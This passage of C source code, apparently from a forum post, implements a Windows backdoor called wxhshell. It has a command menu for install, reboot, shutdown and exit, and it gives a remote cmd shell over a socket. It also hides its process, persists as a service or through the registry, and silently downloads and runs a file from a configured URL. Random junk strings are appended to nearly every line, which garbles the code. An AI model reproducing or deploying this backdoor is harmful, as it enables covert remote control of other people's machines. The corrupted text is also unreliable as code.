  else :SwA) (1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ggtb\W  
  } 3GL?&(eU;  
  else { hb0)<^xu  
O.Te"=^"F  
    switch(cmd[0]) { lV3k4iRH  
  s 7%iuP  
  // 帮助 @D["#pe,}  
  case '?': {  EAr;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?|oN}y"i  
    break; ~T9QpL1OJ  
  } q|klsup  
  // 安装 kwww5p ["  
  case 'i': { aox@- jyr  
    if(Install()) TWRnty-C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wd+kjI\  
    else WAuT`^"u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c|'$3dB*  
    break; ,QA=)~;D  
    } >'m&/&h  
  // 卸载 9 M?UPE  
  case 'r': { 5D-as9k*  
    if(Uninstall()) q$H@W. f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ZbSdaM=  
    else :%28*fl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jL)Y'  
    break; lpB:lRM  
    } GaJE(N  
  // 显示 wxhshell 所在路径 VqD_FS;E  
  case 'p': { ]4')H;'y  
    char svExeFile[MAX_PATH]; RV]QVA*i  
    strcpy(svExeFile,"\n\r"); U![$7k>,pr  
      strcat(svExeFile,ExeFile); Dbx zqd  
        send(wsh,svExeFile,strlen(svExeFile),0); h1B_*L   
    break; xe.f]a  
    } 1NTx?JJfW  
  // 重启 rHybP6C<  
  case 'b': { 03iy[~Y2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PktnjdFV  
    if(Boot(REBOOT)) p.MLKp-'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KqBiF]Q  
    else { 5&A' +]  
    closesocket(wsh); yI!W658$6  
    ExitThread(0); kE+fdr\ T  
    } xVI"sBUu  
    break; ?#doH,  
    } ^?q(fK%  
  // 关机 9J_vvq`%`  
  case 'd': { ?J+*i d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zu~t )W  
    if(Boot(SHUTDOWN)) 2h}FotlO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-5FUKI-  
    else { qauvwAMuX  
    closesocket(wsh); 9)[)0 7  
    ExitThread(0); .W9 *-  
    } P uQ  
    break; U5F1m]gFr  
    } G7GKO  
  // 获取shell KB^GC5L>  
  case 's': { {~#01p5  
    CmdShell(wsh); )Fqtb;W=  
    closesocket(wsh); x a\~(B.  
    ExitThread(0); F7=\*U  
    break; "*c&[ALw  
  } RZ9_*Lq7+  
  // 退出 YXF^4||j.c  
  case 'x': { 9Ns%<FRO@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;_ 1Rk&o!  
    CloseIt(wsh); |<1A<fU8a  
    break; uTl"4;&j  
    } *y+K{ fM1  
  // 离开 ignOF  
  case 'q': { ^4[QX -_2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $j!:ET'V  
    closesocket(wsh); 2]x,joB  
    WSACleanup(); Mx 3fT>?  
    exit(1); Q/HEWk  
    break; !af;5F  
        } {)kL7>u]^V  
  } wXYT(R  
  } Ir- 1@_1Q  
sP9{tk2K  
  // 提示信息 .7Pp'-hK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iP9Dr<P  
} Y{t}sO%A  
  } _?$')P|  
ePSD#kY5  
  return; UpiZd/K  
} :4\_upRE  
FELW?Q?k  
// shell模块句柄 h-m0Ro?6  
int CmdShell(SOCKET sock) h,/3 }  
{ a94 nB  
STARTUPINFO si; Jcp=<z*0  
ZeroMemory(&si,sizeof(si)); 20A:,pMb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S4E@wLi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @}%kSn5y:  
PROCESS_INFORMATION ProcessInfo; Idj Z2)$  
char cmdline[]="cmd"; D [v225  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mndEB!b  
  return 0; ,yfJjV*I  
} g ZES}]N  
xKT;1(Mk  
// 自身启动模式 ILHn~d IC  
int StartFromService(void) g,Rh Ut9  
{ ;>]dwsA*P  
typedef struct $ M|vIw{#  
{ E*v+@rv  
  DWORD ExitStatus; lZ,$lZg9Z  
  DWORD PebBaseAddress; "/hLZl  
  DWORD AffinityMask; MGo`j:0  
  DWORD BasePriority; %7Gq#rq  
  ULONG UniqueProcessId; n*~#]%4  
  ULONG InheritedFromUniqueProcessId; UyMlk  
}   PROCESS_BASIC_INFORMATION; '?$< k@mJW  
I wu^@  
PROCNTQSIP NtQueryInformationProcess; |g\CS4$  
|c2;`T#`o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ml_!)b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "x3!F&  
?J"Y4,{  
  HANDLE             hProcess; `K2vG`c  
  PROCESS_BASIC_INFORMATION pbi; fKs3H?|  
CZCVC (/u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); grDz7\i:  
  if(NULL == hInst ) return 0; z-nV!#  
/DSy/p0%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RS7J~Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vl:M6d1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A<[w'"  
<.@w%rvG  
  if (!NtQueryInformationProcess) return 0; Sh<A936/E  
(B].ppBii  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hLyV'*}  
  if(!hProcess) return 0; 8PGuZw<  
L\t!)X-4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 52*KRq o  
r"lh\C|  
  CloseHandle(hProcess); &{x`K4N  
u3PM 7z!~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (j}edRUnB  
if(hProcess==NULL) return 0; ,^T0!k$  
^P*+0?aFr  
HMODULE hMod; <yKyM#4X  
char procName[255]; ;FjI!V  
unsigned long cbNeeded; w`Rt"d_B  
tQ2S*]"f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W6yz/{Rf  
&KeD{M%  
  CloseHandle(hProcess); ZD8E+]+  
b$B-LvHd1  
if(strstr(procName,"services")) return 1; // 以服务启动 B=i%Z _r]w  
^Ov+n1,)  
  return 0; // 注册表启动 T%2%*oa  
} <)gTi759h)  
& y7~  
// 主模块 dQAo~] B  
int StartWxhshell(LPSTR lpCmdLine) M[&p[P@  
{ 6c[ L*1  
  SOCKET wsl; Nbm$ta  
BOOL val=TRUE; PE+{<[n  
  int port=0; U9//m=_  
  struct sockaddr_in door; leJ3-w{ 2  
/<IXCM.  
  if(wscfg.ws_autoins) Install(); Mwd.S  
l @r`NFWD@  
port=atoi(lpCmdLine); RgVg~?A@  
'/F~vSQsR  
if(port<=0) port=wscfg.ws_port; o@|kq1m8  
!p 70g0+  
  WSADATA data; xb^M33-y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E._/PB  
fH_Xm :%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9OM&&Ue<E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X^. ~f+d~  
  door.sin_family = AF_INET; V}t8H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UeSPwY  
  door.sin_port = htons(port); 3;EBKGg|  
elb}] +  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qo}u(p Oj|  
closesocket(wsl); l,E4h-$  
return 1; S2 YxA  
} + oNr c.  
A:,V)  
  if(listen(wsl,2) == INVALID_SOCKET) { o){<PN|z  
closesocket(wsl); nZkMyRk  
return 1; Ea N^<  
} !%G;t$U=M  
  Wxhshell(wsl);  ev(E  
  WSACleanup(); /C[XC7^4'  
ZF;s`K)  
return 0; (FNX>2Mv  
N_y#Y{c{(  
} X#u< 3<P  
2H`;?#Uq:  
// 以NT服务方式启动 vb k4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :j% B(@b  
{ kX'a*AG  
DWORD   status = 0; KU;m.{  
  DWORD   specificError = 0xfffffff; unkA%x{W;  
X0%BE!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qnU$Pd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vXc gl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4ak} "Z  
  serviceStatus.dwWin32ExitCode     = 0; 3_c4+u"6  
  serviceStatus.dwServiceSpecificExitCode = 0; [[8h*[:  
  serviceStatus.dwCheckPoint       = 0; wEbO|S+K1  
  serviceStatus.dwWaitHint       = 0; \&%y4=y<sE  
v!rOT/I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H?dEgubg7]  
  if (hServiceStatusHandle==0) return; o(Ro/U(Wu  
O9MBQNwjA  
status = GetLastError(); z%WOv ~8~  
  if (status!=NO_ERROR) `k'Dm:*`u4  
{ AG,;1b,:81  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kl+4A}Uo  
    serviceStatus.dwCheckPoint       = 0; d Y]i AJ  
    serviceStatus.dwWaitHint       = 0; b]5S9^=LI  
    serviceStatus.dwWin32ExitCode     = status; '5SO3/{b  
    serviceStatus.dwServiceSpecificExitCode = specificError; %Z#[{yuFs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D$bJs O  
    return; <e'l"3+9(  
  } vTYgWR,h  
yg@}j   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M9sB2Ips<  
  serviceStatus.dwCheckPoint       = 0; K/XUF#^B]  
  serviceStatus.dwWaitHint       = 0; 3x~AaC.j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 15`,kJSK  
} #.~lt8F  
VufG7%S{  
// 处理NT服务事件,比如:启动、停止 .[X"+i\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3O'X;s2\d  
{ U7Pn $l2!  
switch(fdwControl) -*&C "%e  
{ N!=Q]\ZD  
case SERVICE_CONTROL_STOP: 5[>N[}Ck>  
  serviceStatus.dwWin32ExitCode = 0; b 'yW+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2/FH9T;e".  
  serviceStatus.dwCheckPoint   = 0; d0@czNWIC  
  serviceStatus.dwWaitHint     = 0; =J&aN1Hgt  
  { bR? $a+a)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vke]VXU9z  
  } uB uwE6  
  return; 9IG3zMf  
case SERVICE_CONTROL_PAUSE: G@Vz }B:=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9mH+Ol#(  
  break; l j*J|%~  
case SERVICE_CONTROL_CONTINUE: O(f&0h !  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h}(GOY S)  
  break; t%>x}b"2T  
case SERVICE_CONTROL_INTERROGATE: U})Z4>[bvt  
  break; [=I==?2`X  
}; I~I$/j]e`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]%/a'[  
} ]$96#}7N  
nXF|AeAco  
// 标准应用程序主函数 >iB-gj}>X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b'~IFNt*^  
{ i3\6*$Ug  
9k>=y n  
// 获取操作系统版本 <S%kwS  
OsIsNt=GetOsVer(); @IwVR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QG=&{-I~[3  
SB`"%6  
  // 从命令行安装 " ^:$7~%bA  
  if(strpbrk(lpCmdLine,"iI")) Install(); HFd>UdT%  
vxC,8Z  
  // 下载执行文件 auT$-Ki8  
if(wscfg.ws_downexe) { i#y3QCNqf^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -,#LTW<.  
  WinExec(wscfg.ws_filenam,SW_HIDE); z;En Ay{9  
} l<mEGKB#  
k@= LR  
if(!OsIsNt) { P(BV J_n  
// 如果时win9x,隐藏进程并且设置为注册表启动 r=ds'n"  
HideProc(); w~(x*R}  
StartWxhshell(lpCmdLine); VpMPTEZ*L  
} b/Z 0{38  
else #ZRplA~C7]  
  if(StartFromService()) -"e$ VB  
  // 以服务方式启动 5Pl~du  
  StartServiceCtrlDispatcher(DispatchTable); O6pL )6d  
else F DCHB~D  
  // 普通方式启动 c;e2= A  
  StartWxhshell(lpCmdLine); Bswd20(w  
(e;9 ,~u)  
return 0; P>t[35/1  
}
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只看该作者 1 发表于: 2006-10-10
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